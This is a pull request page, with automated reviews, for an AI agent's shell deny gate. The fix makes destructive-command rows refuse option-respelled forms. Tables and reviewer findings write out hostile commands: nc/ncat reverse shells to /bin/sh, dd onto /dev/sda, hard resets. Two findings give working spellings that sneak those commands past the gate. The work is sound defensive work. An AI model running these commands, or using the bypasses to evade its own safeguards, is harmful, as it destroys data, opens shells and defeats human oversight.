Skip to content

fix(security): read command-literal deny rows off the argv, not one spelling - #21584

Closed
bolichen97 wants to merge 1 commit into
mainfrom
fix/argv-row-floor-16475
Closed

bolichen97 wants to merge 1 commit into
mainfrom
fix/argv-row-floor-16475

Conversation

@bolichen97

@bolichen97 bolichen97 commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

Goal: A command-literal deny row refuses its command however the options are spelled, not only the one spelling its pattern names.

Eight built-in rows are a <program> <word> literal. An ordinary option between the program and the anchored word passes the gate on main (origin/main), for the identical command:

Row Denied on main Allowed on main (same command)
terraform destroy.* terraform destroy terraform -chdir=x destroy
git reset --hard.* git reset --hard HEAD~1 git -C . reset --hard HEAD~1
dd if=.* dd if=/dev/zero of=/dev/sda dd bs=1M if=/dev/zero of=/dev/sda
cdk destroy.* cdk destroy MyStack cdk --profile p destroy MyStack
pulumi destroy.* pulumi destroy pulumi --cwd infra destroy
kubectl delete namespace.* kubectl delete namespace prod kubectl -n x delete namespace prod
ncat -e.* ncat -e /bin/sh host 4444 ncat -v -e /bin/sh host 4444
nc -e row nc -e /bin/sh host 4444 nc -v -e /bin/sh host 4444

Why it matters

These rows guard irreversible actions: infrastructure teardown, raw-disk writes, lost local work and reverse shells. A deny row that one option defeats protects nothing against an agent that adds -C . or -chdir=x out of habit.

Not a goal

  • Aliases that are a different subcommand, not an option spelling: kubectl delete ns, pulumi down, terraform apply -destroy, git aliases. They stay as they are on main.
  • Program-word spellings: a glob or .exe program word, or a sibling binary name (netcat, aws-cdk). The regex rows never covered these; this is a different axis.
  • Program runners outside the repo's shared readonly_bash._PROGRAM_RUNNERS set (chroot, doas, npx, su ...): a command behind one of those is read as an ordinary program and not followed, matching the read-only classifier's own boundary — and the regex misses the non-adjacent option-respelled form just as it does on main.
  • The chmod 777.* and rm -rf rows. They keep their own work (fix(security): enforce the chmod-777 deny rule on the argv, not one spelling #16462, fix(security): close rm -rf flag-spelling and $HOME deny-gate bypasses #15316); the table here is shaped so they can join it as rows later.
  • Changing any catalog pattern, rule id, golden fixture or governance pin.

What changed (motivation → approach → change)

The rows match text, so they only see the spelling they were written for. One shared argv table fixes all eight, not a patch per command.

A new module, security/argv_row_floor.py, holds one table. Each row is a rule id, the program that must run, and a matcher over that program's argv: a subcommand chain read past options (terraform destroy, kubectl delete namespace), a subcommand plus an option anywhere after it (git reset --hard), or an option or key=value operand anywhere (ncat -e, nc -e, dd if=). Which options take a value is never guessed: the word after an option is read both as its value and as the subcommand.

The command is read... Example now refused
with the shared shell reader: quotes, operators, subshell parens, glued redirections, nested bash -c / $( ) true&&terraform -chdir=x destroy
split at a lone background & true & git -C . reset --hard
with <> and <& read whole, target included git -C . <> /dev/null reset --hard
after $'…' is decoded git -C . reset $'--hard'
before case is folded: each \U escape kept, and as spelled ncat -Se /bin/sh h 1
even with no program name seen, when the text holds $' bash -c '$'\''\x67it'\'' -C . reset --hard'
pre-filtered on the quote-stripped program word g""it -C . reset --hard
past keyword openers, NAME=value and the shared runner set (sudo, env, timeout, xargs) timeout 600 terraform -chdir=x destroy

Text that runs nothing is not read as a command, so ordinary commands stay allowed: an unquoted # comment, a newline inside quotes, a quoted-delimiter heredoc body (unless the line has a pipe or a shell, or the text a line continuation; a << in $(( )) opens none), a $( ) or backtick inside single quotes, an escaped backtick, the value of an option the program always gives one (kubectl delete -f namespace/x.yaml), a dd that writes no device, the data command after &&, and words a plain echo / printf prints.

A text that is one bare stdin-interpreter heredoc (python3 - <<'EOF', node <<'EOF') is read as code in that language, not as shell, so a script body that names git reset --hard in a string is not refused (from #22631). A heredoc delimiter is decoded the way bash does ('E\OF' keeps its backslash), a git alias or include on an unprefixed data program, or on a data program in a later pipe stage, keeps the body read, and a . word is the source builtin unless it is a -C operand of the data command itself. Comments are read twice, on the whole text and with heredoc bodies blanked, so a quote in a body cannot turn a later quoted # into a comment. The shell and Python names come from shell_normalizer_programs, whose nested-shell list gains mksh and fish.

A refusal is audited with the raw command text, not the case-folded one, because the credential scrubber matches key IDs case-sensitively. Heredoc closing lines are found by an index lookup, so text full of unclosed heredoc openers stays linear.

Each matcher is one right-to-left pass, linear on the 20 KB ceiling.

is_denied asks it after the regex passes, so a literal hit keeps its exact refusal. A row is checked only while it is in the effective set, so an opt-out turns off both. A refusal reports the row's own pattern and rule id with component=argv-floor. It fails closed: if the reader raises, or yields no readable frame, on a command that names a row's program and that row's words (reset + --h, destroy, if= …; any text with an escape counts), the command is refused under that row with a note saying it could not be read. The security spec lists the submodule, and the package line budget in test_security_gate_liveness.py is raised for it.

Backwards compatibility

Breaking: commands that were allowed only because an option sat between the program and the anchored word are now refused under the same row (for example git -C . reset --hard, terraform -chdir=x destroy, dd bs=1M if=...). A command naming a row's program that the shell reader cannot read is refused too. Writer sweep on origin/main: git grep for those shapes across src/, docs/, skills and scripts found no shipped job, default, skill or doc that issues one. An operator who needs one can opt out of the row, which turns off the floor with it.

Removes nothing: no rule, pattern, pass or opt-out is removed. It is a strict add-on to main: the regex tier runs first and is unchanged, so this PR never allows a command main refuses; it only adds refusals for re-spelled forms of the eight rows' own commands.

Tests

test/test_argv_row_floor.py:

  • 110 re-spelled commands across all eight rows are refused under the row's own pattern and rule id: options in every position and packing, wrappers, nested payloads, &, <> / <&, $'…', quote-split program words, a heredoc that may reach a shell, a backtick the shell expands, a reset before a comment, a dd writing a device through a stdout redirect.
  • 73 ordinary commands stay allowed, including those in the table above; each one added after the first CI review was red on the head it came from.
  • Fail closed: with _shell_payload_walk, _split_push_command_segments or normalize_shell_command forced to raise, the re-spelled reset and escaped nested spellings are refused with the unreadable note; git push origin my-feature, git status and a command naming no row program stay allowed; every re-spelled case carries its row's words.
  • A heredoc piped into a later git stage that sets an alias, config or filter driver keeps its body read, including $'…'-quoted and quoted words with spaces; the heredoc's own git command gets the same test. A tee operand named like a config key stays data. Each case is red on the parent head.
  • A floor refusal audits the raw input (Feature-ABC stays mixed-case), and 20 KB of unclosed heredoc openers costs one indexed lookup per opener; both red on aff3378a90.
  • The shared push splitter still keeps a lone & inside the segment, and push refusals on both sides of & are unchanged.
  • Linearity, counted not timed: matcher steps on a 20 KB -x delete / -x reset run, one table per row for a 2,000-fold sudo / env -u / xargs -n repeat of git, and option reads on a 20 KB env -u / sudo -u runner run (each runner state is scanned once).
  • A literal spelling keeps its regex refusal text; an opt-out disables the floor; every table row names a catalog rule once; _leading_operands reads the word after an option both ways.

Each new case is red on the parent head and green here. Determinism: the new tests pass 5/5 repeats, in reverse order and under -n4.

Proof: not provable -- other: the floor module is new in this PR, so reverting it fails test collection; each new case was run red on its parent head by hand.

Manual verification

N/A — unit coverage sufficient: the floor is a pure function of the command text, and the tests drive it through is_denied, the gate's own entry point.

Known limitations

  • Scope of the last round (owner ruling): only the later-pipe-stage alias / config gap is fixed here. Further shapes the AI lanes raise in this area (config or aliases set by a different command or an earlier call, and the four over-refusal classes the lanes reported) are out of scope and tracked for the security owner, not fixed here.

  • Known over-refusals, left by maintainer ruling (each is refused here and allowed on main; tracked in argv-row floor (#16475): resolve residual fail-closed over-refusals (heredoc data, option-value-as-verb, linearity) #21607): terraform -chdir destroy plan (option arity not certain, read both ways on purpose); kubectl -n ops delete namespaceconfig team-a; sudo -n grep -rl -e terraform -e destroy …; sudo tee /usr/local/bin/x.sh <<'EOF'; kubectl apply -f - <<'EOF' (and the same body piped from cat); a commit message whose text repeats inside backticks; a heredoc whose delimiter word is glued to ; or holds a space (cat <<'EOF'; echo done, cat <<'E O F'); a heredoc fed to a non-shell reader outside the data set (wc -l <<'EOF', grep -F … <<'EOF'); a heredoc line that also runs a shell elsewhere (cat <<'EOF' ; bash -c 'echo done'); printed words piped to cat (echo bash -c '…' | cat); two heredocs on one line (cat <<'A' <<'B').

  • Shell forms the reader does not model, tracked in Evaluate a real shell parser for the three security command checks #21682 for the real-parser evaluation by maintainer ruling. Each is also allowed on main, so none is a regression: a $( ) / <( ) inside an option value (git -c k=$(x) reset --hard), an escaped character before a background &, chained redirections in one word, the >| redirection, upper-case \U ANSI-C escapes, an even backslash run before a newline, a reader failure on an inner payload only, a spaced <<- heredoc between the options and the subcommand; a script written by a heredoc and run on a later line; plus brace expansion and case / function / coproc command positions. Evaluate a real shell parser for the three security command checks #21682 evaluates a real shell parser for all three security command checks.

Related Issues

Closes #16475
Part of #22332 (the interpreter-heredoc over-refusal; file-then-run stays in Known limitations)

Sibling sweep

Sibling: src/kiro_crew/security/argv_row_floor.py:_data_heredoc_opener -- changed here (the heredoc's own command words and every later pipe stage now share one alias / config test)

Pattern harvest

Rule candidate: review-prompt
Pattern: a deny row written as a <program> <word> regex literal is defeated by any option between the two; anchor it on the argv instead.

Checklist

  • At most two commits (one is the norm), with a Conventional Commits title (feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)
  • Existing tests pass and new tests added for new functionality
  • Self-review completed; code follows project style guidelines
  • Documentation updated (if applicable)
  • No secrets, credentials, or internal references in the diff

@bolichen97
bolichen97 requested review from a team and KiroCrewCaptain as code owners October 17, 2026 10:00
@bolichen97
bolichen97 requested a review from buluoray October 17, 2026 10:00
@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

UX Review (Opus 5.5) — ⏭️ skipped

Revision c701c6af9351939f0b06eaa76aee96a0195e4a7d touches no user-facing surface (no changes under website/ or committed screenshots), so the UX review was skipped. Does not block merge.

@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5) — ✅ PASS

Design-level review of c701c6af9351939f0b06eaa76aee96a0195e4a7d — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

Design-Verdict: PASS

Nothing blocks: the deny rows check a real shell command line that the sandbox does not cover, and the fix adds to the existing argv-floor tier instead of adding regex spellings.

Notes

  • argv_row_floor.py arrives at 1,590 lines, just under the 1,600 split threshold. Its heredoc and stdin-interpreter heuristics (from fix(security): read a bare stdin-interpreter heredoc as code, not shell #22631), the comment reading and the $' fail-closed reading are separate jobs, so split them out before the chmod 777 and rm -rf rows join the table.
  • Fail-closed ("any text with an escape counts") will falsely deny any command it cannot read that names a row's program and words. The only remedy is the row opt-out, which also turns off the regex row, so watch for reports of false denials.

[DESIGN-REVIEWED] c701c6a

Description read

[DESCRIPTION-READ] c6cb52f051da4d89dda84267257608d4e5f877f1ba4dffe423a2b3ec57a420fb

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

Sensitive Change Review

Sensitive files changed:

  • src/kiro_crew/security/argv_row_floor.py

  • src/kiro_crew/security/deny_gate.py

  • src/kiro_crew/security/shell_normalizer_programs.py

  • @bolichen97 comment (7 comments checked, none complete): does not name the current head c701c6a; post it again for this head

How to clear this check:

  1. The PR author posts the template below as a PR comment, with
    every field filled (N/A needs a reason). Keep the
    Head commit line: it must name the current head SHA.
  2. The check turns green within a minute, with no push.
  3. A new push resets this check: post it again for the new head.

Only the author's comment counts this way. A reviewer can instead
paste the filled template into an "Approve" review on this head.
Merging still needs a reviewer's approval.

## Sensitive change review
- Head commit: c701c6af9351939f0b06eaa76aee96a0195e4a7d
- What rule changed:
- Before -> after (what was allowed/blocked, now):
- Worst case if wrong (breaks commands / leaks secret / locks user out):
- Evidence checked (which sandbox result proves it):
- No regression:
  - Tools still work (which tools/commands were run, result):
  - Backward compatible (old config / old data / old callers still work, how checked):
  - Existing tests (which suites passed on this head):
- How to undo:

@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5) — 🔴 BLOCK

Premise-level review of c701c6af9351939f0b06eaa76aee96a0195e4a7d — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

First-Principles-Verdict: BLOCK

Item 1 adds a second argv deny-row engine of 1,590 lines. Base already has one: security/argv_rules.py. The two already differ on which wrappers they follow and on fail-open versus fail-closed.

Notes

  • Item 4 — rides along: adding "mksh and fish" to _NESTED_SHELL_PROGRAMS also changes the shared list read by shell_normalizer, rm_floor and inline_payload (7 files under src/ name it). None of those gates get tests in this PR.

What this change ships

Inventory (5 items) — 2 justified

Intent: refuse the eight <program> <word> destructive commands when an option is placed between the program and the word. FIX.

  1. The eight rows refuse option-respelled forms (git -C . reset --hard, terraform -chdir=x destroy) — duplicate of src/kiro_crew/security/argv_rules.py
  2. A command naming a row's program that the reader cannot parse is now refused — justified
  3. Bare-interpreter heredoc bodies (python3 - <<'EOF') are read as code, not shell — justified
  4. mksh and fish are treated as nested shells by every security gate — rides along
  5. The package line budget in the liveness test is raised — rides along

Blockers

Second argv deny-row mechanism (duplicate)
Trigger: base argv_rules.py already has a deny-row table. _PREDICATES maps a rule id to a program and an args predicate, and ARGV_RULE_BY_ID ties each id to its catalog row. argv_rule_hit checks only rows in the effective set. Commands are read through _shell_payload_walk, wrappers and heredocs. Grepping the patch for argv_rules|_PREDICATES finds 0 imports, only the spec line. The new module brings its own reader and its own runner set (_PROGRAM_RUNNERS, which lacks doas/chroot; argv_rules._WRAPPERS has both). It also reverses that module's documented "Narrower on purpose… an unreadable command is let through" without saying so.
Outcome: there are two argv tables, each called the place where rows "can join later". doas git -C . reset --hard is not followed by the new floor, while the base chmod rule is followed through doas by argv_rules. Every reader fix now has to land twice.
Subtraction: delete argv_row_floor.py and its deny_gate hook. Add the eight matchers as _PREDICATES entries in argv_rules.py.
Clears when: the eight rows are enforced through argv_rules._PREDICATES/argv_rule_hit and the parallel reader is gone. Alternatively, the description shows a row that argv_rules' reader cannot express.

[FIRST-PRINCIPLES-REVIEWED] c701c6a

Description read

[DESCRIPTION-READ] 02d2764e9fc4bf58d7d474f867eb7e326e00bcfb3fbdff2d94d515c7da8618e0

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Oct 17, 2026
@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5.5 Review — ✅ no blocking findings

Reviewed c701c6af9351939f0b06eaa76aee96a0195e4a7d — this comment is updated in place on each push.

Review details

No findings.

[OPUS-REVIEWED] c701c6a

Verdict parsed from the review's SHA-scoped output markers for commit c701c6af9351939f0b06eaa76aee96a0195e4a7d.

False positive or not applicable? A repository writer can comment:
/ai-review override fable c701c6af9351939f0b06eaa76aee96a0195e4a7d false-positive: <reason, 20 to 500 characters>

@bolichen97
bolichen97 enabled auto-merge (squash) October 17, 2026 10:05
@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

GPT 6.1 Review — 🔴 changes requested (blocking)

GPT 6.1 found at least one blocking issue that must be resolved before merging c701c6af9351939f0b06eaa76aee96a0195e4a7d. 2 of 2 blocking finding(s) are security-class and were withheld from adjudication, so the blocking verdict stands.

This comment is updated in place on each push.

BLOCKING -- src/kiro_crew/security/argv_row_floor.py:187 -- A subshell’s leading redirection hides the actual program

leading = _REDIRECT_OPERATOR_RE.match(raw)
Trigger: In a repository with uncommitted tracked changes, submit (2>/dev/null git -C . reset --hard) through PreToolUse → PolicyAuthority.is_denied → argv_row_denial → _segment_argv. The leading ( prevents redirection recognition; subsequent stripping retains 2 as the program word.
Outcome: The deny, sensitive-command and exfiltration gates return None; Bash executes the hard reset and discards the local changes in the writable workspace.
Anchor: residual/security
Fix: Recognize unquoted grouping syntax before parsing leading redirections, so descriptor prefixes never become argv words.
Sites: (0</dev/null git -C . reset --hard), ({fd}>/dev/null git -C . reset --hard), and the same grouped descriptor prefix before option-respelled terraform, cdk, pulumi, kubectl, dd, ncat and nc commands.

BLOCKING -- src/kiro_crew/security/argv_row_floor.py:471 -- An option value of -- hides subsequent netcat execution flags

table[i] = word != "--" and (_is_flag(word) or table[i + 1])
Trigger: With a reachable peer at host:4444, submit ncat -o -- -v -e /bin/sh host 4444 through PreToolUse → is_denied → argv_row_denial → _option_anywhere. Ncat consumes -- as the required output filename for -o, but the matcher treats it as the option terminator.
Outcome: Both the deny gate and exfiltration guard allow the command; Ncat processes the subsequent -e /bin/sh and exposes the shell to the connected peer.
Anchor: residual/security
Fix: Track required option-value consumption, including clustered and long forms, and terminate option scanning only on an unconsumed --.
Sites: ncat --output -- -v -e /bin/sh host 4444, ncat -vo -- -e /bin/sh host 4444, and ncat -x -- -v -e /bin/sh host 4444.

[BLOCK-MERGE] c701c6a
[GPT-REVIEWED] c701c6a

Adjudication (Opus 5.5) — is blocking on each finding proportionate?

F1: unbounded (destructive git reset --hard gets past the deny row). Confirmed at argv_row_floor.py:187: _REDIRECT_OPERATOR_RE (:110) has no ^\( allowance, so (2>/dev/null misses the leading branch. _unquoted_redirect_offset then cuts at >, leaving (2, and _strip_group turns that into the program word 2. The agent can write this command itself, nothing on this path recovers it, and the loss is the uncommitted work.
F2: unbounded (reverse shell). Confirmed at argv_row_floor.py:471: _is_flag only treats a value letter as eating the rest of its own cluster, so -o alone never consumes the next word. A separate -- then ends the scan at table[i] = word != "--" and …, and the -e after it is never seen (rows at :577-578). The agent can write this command too, and nothing on this path catches it.

[ADJUDICATION] c701c6af9351939f0b06eaa76aee96a0195e4a7d total=0 uphold=0 downgrade=0
[GPT-ADJUDICATED] c701c6af9351939f0b06eaa76aee96a0195e4a7d

[ADJUDICATION-FENCED] c701c6af9351939f0b06eaa76aee96a0195e4a7d fenced=2 flagged=0
UPHOLD-FENCED F1 src/kiro_crew/security/argv_row_floor.py:187 -- A grouped leading redirection makes `2` the program word, so a prompt-injected agent can get a `git -C . reset --hard` past the argv deny rows, and the discarded changes cannot be recovered.
UPHOLD-FENCED F2 src/kiro_crew/security/argv_row_floor.py:471 -- A separate `--` value for `-o`/`-x` is read as the option terminator, so a later `-e /bin/sh` slips past the ncat/nc reverse-shell rows; the agent can write this spelling itself, so it is not an extreme-only condition.
[GPT-ADJUDICATED-FENCED] c701c6af9351939f0b06eaa76aee96a0195e4a7d

False positive or not applicable? A repository writer can comment:
/ai-review override gpt c701c6af9351939f0b06eaa76aee96a0195e4a7d false-positive: <reason, 20 to 500 characters>

@github-actions

github-actions Bot commented Oct 17, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review -- 🔴 BLOCK (blocking)

Which legitimate operations does c701c6af9351939f0b06eaa76aee96a0195e4a7d newly refuse? Updated in place on each push. A script-confirmed regression blocks; the model proposes candidates and never decides a refusal.

Verdict basis: a script-confirmed newly-refused operation.

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 27 classified, 9 newly refused, 17 still allowed.
  • ubuntu-latest (platform posix): 27 classified, 9 newly refused, 17 still allowed.
  • windows-latest (platform windows): 9 classified, 2 newly refused, 7 still allowed.

Newly refused (confirmed by the real classifier at both refs)

  • terraform -help destroy (posix, leg macos-latest)
    • Who loses it: an operator reads terraform's built-in help for the destroy subcommand before writing a teardown runbook; -help takes no value, so destroy is help's topic, not a run
    • Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • cdk --trace deploy DestroyerStack (posix, leg macos-latest)
    • Who loses it: a CDK developer deploys a stack whose name starts with Destroy with a global valueless flag the floor's cdk flag list does not hold (the suite already allows the --verbose form)
    • Refused by: deny-rules -- Blocked by security policy: cdk destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command howev
  • cdk --no-version-reporting deploy DestroyerStack (posix, leg macos-latest)
    • Who loses it: the same deploy with another valueless global flag, as a CI deploy job passes it
    • Refused by: deny-rules -- Blocked by security policy: cdk destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command howev
  • `gh pr create --title "docs: env setup for the teardown runbook" --body-file - <<'EOF'

Teardown

terraform -chdir=infra destroy
EOF` (posix, leg macos-latest)
- Who loses it: an agent opens a docs PR whose title holds the word env; the body is a message gh reads, never run
- Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • `gh issue create --title "bash wrapper ignores the time budget" --body-file - <<'EOF'
    Repro:

git -C . reset --hard
EOF` (posix, leg macos-latest)
- Who loses it: a maintainer files an issue whose title holds the words bash and time; the body is issue text
- Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • `sudo tee /usr/local/share/doc/runbooks/teardown.md >/dev/null <<'EOF'

Teardown

terraform -chdir=infra destroy -auto-approve
EOF` (posix, leg macos-latest)
- Who loses it: an operator writes a root-owned runbook with the sudo tee heredoc spelling the repo's own CI actions use; the body is file text
- Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • mkdir -p ~/.config/fish && cat > ~/.config/fish/README.md <<'EOF' Undo a bad rebase with: git -C ~/src/app reset --hard ORIG_HEAD EOF (posix, leg macos-latest)
    • Who loses it: a fish user writes a notes file into their fish config dir; the path word ending in fish now names a shell on the opener line
    • Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • cd infra && python3 - <<'EOF' from pathlib import Path Path('runbook.md').write_text(''' terraform -chdir=infra destroy ''') EOF (posix, leg macos-latest)
    • Who loses it: an agent generates a runbook file with an inline Python heredoc after a cd; the body is Python code, not shell
    • Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • .venv/bin/python - <<'EOF' print(''' git -C . reset --hard ''') EOF (posix, leg macos-latest)
    • Who loses it: a maintainer runs a quick Python check with the repo venv interpreter, the spelling the corpus already uses for pytest
    • Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • terraform -help destroy (posix, leg ubuntu-latest)
    • Who loses it: an operator reads terraform's built-in help for the destroy subcommand before writing a teardown runbook; -help takes no value, so destroy is help's topic, not a run
    • Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • cdk --trace deploy DestroyerStack (posix, leg ubuntu-latest)
    • Who loses it: a CDK developer deploys a stack whose name starts with Destroy with a global valueless flag the floor's cdk flag list does not hold (the suite already allows the --verbose form)
    • Refused by: deny-rules -- Blocked by security policy: cdk destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command howev
  • cdk --no-version-reporting deploy DestroyerStack (posix, leg ubuntu-latest)
    • Who loses it: the same deploy with another valueless global flag, as a CI deploy job passes it
    • Refused by: deny-rules -- Blocked by security policy: cdk destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command howev
  • `gh pr create --title "docs: env setup for the teardown runbook" --body-file - <<'EOF'

Teardown

terraform -chdir=infra destroy
EOF` (posix, leg ubuntu-latest)
- Who loses it: an agent opens a docs PR whose title holds the word env; the body is a message gh reads, never run
- Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • `gh issue create --title "bash wrapper ignores the time budget" --body-file - <<'EOF'
    Repro:

git -C . reset --hard
EOF` (posix, leg ubuntu-latest)
- Who loses it: a maintainer files an issue whose title holds the words bash and time; the body is issue text
- Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • `sudo tee /usr/local/share/doc/runbooks/teardown.md >/dev/null <<'EOF'

Teardown

terraform -chdir=infra destroy -auto-approve
EOF` (posix, leg ubuntu-latest)
- Who loses it: an operator writes a root-owned runbook with the sudo tee heredoc spelling the repo's own CI actions use; the body is file text
- Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command

  • mkdir -p ~/.config/fish && cat > ~/.config/fish/README.md <<'EOF' Undo a bad rebase with: git -C ~/src/app reset --hard ORIG_HEAD EOF (posix, leg ubuntu-latest)
    • Who loses it: a fish user writes a notes file into their fish config dir; the path word ending in fish now names a shell on the opener line
    • Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • cd infra && python3 - <<'EOF' from pathlib import Path Path('runbook.md').write_text(''' terraform -chdir=infra destroy ''') EOF (posix, leg ubuntu-latest)
    • Who loses it: an agent generates a runbook file with an inline Python heredoc after a cd; the body is Python code, not shell
    • Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • .venv/bin/python - <<'EOF' print(''' git -C . reset --hard ''') EOF (posix, leg ubuntu-latest)
    • Who loses it: a maintainer runs a quick Python check with the repo venv interpreter, the spelling the corpus already uses for pytest
    • Refused by: deny-rules -- Blocked by security policy: git reset --hard.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • terraform -help destroy (windows, leg windows-latest)
    • Who loses it: the same help lookup from a Windows shell
    • Refused by: deny-rules -- Blocked by security policy: terraform destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command
  • cdk --trace deploy DestroyerStack (windows, leg windows-latest)
    • Who loses it: the same CDK deploy from a Windows developer shell
    • Refused by: deny-rules -- Blocked by security policy: cdk destroy.*
      Matched structurally on the command's argv, not by the pattern text above: the program runs (directly, or inside a nested shell payload) and its argv carries the word this rule names, with options in any position or packing. The rule blocks the command howev

Each row above is an operation that the base ref ALLOWS and this change REFUSES. Narrow the rule at the tier named. Withdrawing a row is not the way to green: that is its own pull request, on its own merits.

Scope-Verdict: PASS

Reason: The new argv floor only adds refusals inside the deny-rules tier. No script-confirmed regression reached this review, so nothing here meets the bar for BLOCK. Two narrowings are argued below but not confirmed. First, the heredoc "is this data" test reads every word on the opener line, so a quoted PR or issue title, or a path ending in fish, can stop a message body from being treated as data. Second, interpreter heredocs are exempt only in their bare, whole-text form.

TIGHTENING: A new command-literal argv floor is ORed onto the regex rows of the deny-rules tier (argv_row_floor.argv_row_denial, hooked into is_denied). The shared nested-shell list also grows to include mksh and fish. -- It refuses an option re-spelling of the eight command-literal rows, where an ordinary option between the program and the anchored word got past the literal regex: "Rows like terraform destroy.* name one spelling; the floor reads the argv so an option between the program and the anchored word cannot re-spell it." (deny_gate.py), for example terraform -chdir=x destroy and git -C . reset --hard.

ADJUDICATED: 36 candidates, 0 confirmed newly-refused (no script-confirmed row was handed to this review)

PLATFORM COVERAGE: posix and windows; no any rows, since every candidate names an executable.

  • posix (28 rows): The diff assumes a POSIX shell throughout: backslash escapes, $'…', heredocs, /-basename program resolution, /dev/ device targets for dd, and the runner set (sudo, timeout, time). The posix rows probe each of these:
    • the ambiguous-operand reading (terraform -help destroy, cdk --trace deploy DestroyerStack)
    • soft and mixed resets with -C
    • device and non-device dd targets
    • nc clusters and ProxyCommand
    • data heredocs whose opener line carries runner-shaped words
    • non-bare Python heredocs
    • the new fish/mksh shell words
  • windows (8 rows): The diff never resolves .exe or \ program names, but its reader dequotes backslashes POSIX-style. So Windows probes cover:
    • drive-letter and ..\ paths: terraform -chdir=C:\…, pulumi --cwd C:\…, git -C ..\kc-wt-example, kubectl delete -f k8s\namespace\…
    • %REPO% and $env:REPO_DIR arguments
  • Not probed on windows: heredocs and dd. They have no ordinary Windows spelling, so the floor's heredoc and device logic stays a posix-only question.

UNADJUDICATED: These are argued narrowings with no verdict. They sit inside the shell composite, but their outcome depends on the classifier legs, which had not reported back to this review.

